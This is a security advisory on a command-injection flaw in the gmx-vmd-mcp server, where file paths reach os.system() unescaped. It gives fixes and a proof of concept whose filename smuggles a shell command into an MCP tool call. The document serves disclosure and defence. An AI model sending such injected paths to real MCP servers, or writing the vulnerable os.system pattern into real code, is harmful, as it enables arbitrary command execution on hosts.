# gmx-vmd-mcp VMD Launch Command Injection via File Path Vulnerability Report ## Vulnerability Overview - **Vulnerability Type**: CNA / Submission Type - **Vulnerability Description**: The MCP tool (`gmx-vmd-mcp`) accepts user-controlled `structure_file` and `trajectory_file` paths, converts them to absolute paths, and concatenates them into a shell command string, which is then executed via `os.system()`. Attackers can bypass the restrictions on the VMD launch command by crafting filenames containing shell metacharacters, thereby achieving arbitrary command execution on the host. - **Technical Root Cause**: 1. The tool directly exposes filesystem path parameters. 2. The code only checks for file existence without filtering or escaping path content. 3. Both macOS and non-macOS branches construct shell strings from the paths. 4. Both branches execute the string via `os.system(cmd)`. ## Impact Scope - **Affected Versions**: 0.1.0 - **Affected Component**: `mcp_server.py` - **CVSS v3.1 Score**: 10.0 (Critical) - **Security Impact**: - Confidentiality: High (can read host files and project data) - Integrity: High (can modify host state) - Availability: High (can disrupt service workflows) - Scope: Changed ## Remediation - **Recommended Fixes**: 1. Execute the VMD invocation as an argument array to avoid using a shell. 2. Normalize and validate both file paths before invoking VMD. 3. Add regression tests using filenames containing special characters (e.g., `;`, `&`, `$()`, backticks, spaces). 4. Reuse existing, safer non-shell helper functions in the repository instead of maintaining a separate shell-based launch path. - **Temporary Mitigations**: 1. Do not use `os.system()` to launch VMD. 2. Reject shell metacharacters in caller-provided file paths. 3. Limit the service's trust in local operators. 4. Prefer the safer `subprocess.run([...], shell=False)` or `create_subprocess_exec` style. ## POC Code ```python # 1. Prepare files touch '/tmp/legit.xtc' touch '/tmp/poc.gro;touch @gtai_cmd;' # 2. Call MCP tool { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "Launch VMD GUI", "arguments": { "structure_file": "/tmp/poc.gro;touch @gtai_cmd;", "trajectory_file": "/tmp/legit.xtc" } } } # 3. Trigger condition # os.path.exists() succeeds because the constructed filename actually exists. # The generated shell command is effectively: vmd /tmp/poc.gro;touch @gtai_cmd; /tmp/legit.xtc & # 4. Expected result # A file named @gtai_cmd is created in the server's current working directory, proving arbitrary command execution. ```